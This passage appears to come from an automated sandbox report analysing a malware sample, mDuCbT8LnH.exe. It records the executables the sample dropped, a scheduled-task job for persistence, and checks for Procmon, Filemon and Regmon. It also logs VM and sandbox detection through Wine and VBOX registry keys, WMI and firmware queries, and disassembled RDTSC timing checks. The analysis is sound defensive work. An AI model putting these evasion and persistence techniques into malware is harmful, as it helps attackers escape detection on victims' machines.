Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A51359 push es; ret	5_2_00A5135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002AD91C push ecx; ret	6_2_002AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002AD91C push ecx; ret	7_2_002AD92F

Source: mDuCbT8LnH.exe	Static PE information: section name: entropy: 7.9733618966959305
Source: mDuCbT8LnH.exe	Static PE information: section name: vsprjcoh entropy: 7.9537975049690175
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name: entropy: 6.9553451139803135
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 6.9553451139803135

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File created: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File created: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_6-9700

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 3891B7 second address: 3891BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F9C7C second address: 4F9C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027252h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F9C92 second address: 4F9CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FFAF8C4A842h 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4E1F75 second address: 4E1FA7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FFAF9027251h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFAF9027254h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F8DC5 second address: 4F8DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A844h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FFAF8C4A836h 0x00000012 jmp 00007FFAF8C4A83Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F8F42 second address: 4F8F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F8F47 second address: 4F8F6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FFAF8C4A836h 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007FFAF8C4A836h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jno 00007FFAF8C4A836h 0x0000001d jnp 00007FFAF8C4A836h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F8F6C second address: 4F8F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FFAF902724Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F936D second address: 4F9371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F9371 second address: 4F9375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F94BF second address: 4F94DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FFAF8C4A83Ch 0x0000000c jno 00007FFAF8C4A836h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jno 00007FFAF8C4A836h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBA23 second address: 4FBA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBA28 second address: 4FBA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007FFAF8C4A836h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FFAF8C4A842h 0x00000016 popad 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c ja 00007FFAF8C4A83Eh 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 jns 00007FFAF8C4A83Ch 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 pushad 0x00000031 push ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBA77 second address: 4FBA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FFAF9027246h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBA84 second address: 4FBA88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBB67 second address: 4FBB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBB6B second address: 4FBB6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBB6F second address: 4FBB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBB75 second address: 4FBBD7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAF8C4A838h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 7B1AAED4h 0x00000013 mov si, ax 0x00000016 pushad 0x00000017 mov dl, 67h 0x00000019 mov dword ptr [ebp+122D23E9h], edi 0x0000001f popad 0x00000020 push 00000003h 0x00000022 sub dword ptr [ebp+122D19FFh], edx 0x00000028 push 00000000h 0x0000002a movsx ecx, si 0x0000002d push 00000003h 0x0000002f mov edi, dword ptr [ebp+122D37AAh] 0x00000035 push 4D60B096h 0x0000003a push edi 0x0000003b jnc 00007FFAF8C4A83Ch 0x00000041 jl 00007FFAF8C4A836h 0x00000047 pop edi 0x00000048 add dword ptr [esp], 729F4F6Ah 0x0000004f sbb dl, FFFFFFDBh 0x00000052 lea ebx, dword ptr [ebp+1244695Eh] 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push eax 0x0000005c pop eax 0x0000005d pop eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push ecx 0x00000061 pop ecx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBBD7 second address: 4FBBDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBC4B second address: 4FBC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 jng 00007FFAF8C4A83Ch 0x0000000d mov dword ptr [ebp+122D19FFh], ecx 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D389Ah] 0x0000001b call 00007FFAF8C4A839h 0x00000020 jmp 00007FFAF8C4A843h 0x00000025 push eax 0x00000026 pushad 0x00000027 ja 00007FFAF8C4A83Ch 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBC92 second address: 4FBCC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFAF902724Ch 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FFAF9027256h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push edx 0x00000017 js 00007FFAF902724Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBCC8 second address: 4FBCD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBCD6 second address: 4FBCDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBCDF second address: 4FBD5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007FFAF8C4A838h 0x00000010 sub dword ptr [ebp+122D1797h], esi 0x00000016 popad 0x00000017 mov dword ptr [ebp+122D2003h], ebx 0x0000001d push 00000003h 0x0000001f mov dword ptr [ebp+122D1F39h], ecx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007FFAF8C4A838h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 push 00000003h 0x00000043 mov dword ptr [ebp+122D2D08h], eax 0x00000049 call 00007FFAF8C4A839h 0x0000004e js 00007FFAF8C4A849h 0x00000054 jmp 00007FFAF8C4A843h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d pushad 0x0000005e popad 0x0000005f pop ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBD5A second address: 4FBD92 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFAF902724Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 ja 00007FFAF9027246h 0x00000018 popad 0x00000019 jmp 00007FFAF9027252h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBD92 second address: 4FBD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBD9B second address: 4FBD9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBE0A second address: 4FBE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007FFAF8C4A836h 0x00000010 jo 00007FFAF8C4A836h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBE21 second address: 4FBE6C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FFAF9027246h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov cl, bh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FFAF9027248h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push B2EF582Fh 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FFAF9027251h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBE6C second address: 4FBEB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAF8C4A842h 0x0000000b popad 0x0000000c add dword ptr [esp], 4D10A851h 0x00000013 mov esi, 4E3384A8h 0x00000018 push 00000003h 0x0000001a mov di, 5A12h 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D19FFh], eax 0x00000026 mov ecx, dword ptr [ebp+122D37D2h] 0x0000002c push 00000003h 0x0000002e mov dword ptr [ebp+122D1F7Fh], ecx 0x00000034 push A260D8C8h 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBEB6 second address: 4FBF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FFAF9027246h 0x0000000a popad 0x0000000b pop edx 0x0000000c add dword ptr [esp], 1D9F2738h 0x00000013 mov edx, dword ptr [ebp+122D3602h] 0x00000019 lea ebx, dword ptr [ebp+12446972h] 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FFAF9027248h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 push ebx 0x0000003a mov esi, ecx 0x0000003c pop edx 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FFAF9027250h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBF0C second address: 4FBF32 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FFAF8C4A848h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4FBF32 second address: 4FBF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51C6F6 second address: 51C6FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51CC14 second address: 51CC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D1A3 second address: 51D1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FFAF8C4A836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D1AD second address: 51D1B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAF9027246h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D1B9 second address: 51D1D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAF8C4A843h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D1D1 second address: 51D1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D339 second address: 51D33D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D33D second address: 51D394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FFAF902724Ch 0x0000000e jbe 00007FFAF9027246h 0x00000014 pushad 0x00000015 jno 00007FFAF9027246h 0x0000001b jmp 00007FFAF9027254h 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007FFAF9027256h 0x00000027 popad 0x00000028 push ecx 0x00000029 push esi 0x0000002a pop esi 0x0000002b pop ecx 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f jc 00007FFAF9027252h 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D394 second address: 51D39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D39A second address: 51D39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51D611 second address: 51D639 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAF8C4A848h 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FFAF8C4A836h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E05D second address: 51E065 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E065 second address: 51E079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E079 second address: 51E07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E07F second address: 51E083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E083 second address: 51E089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
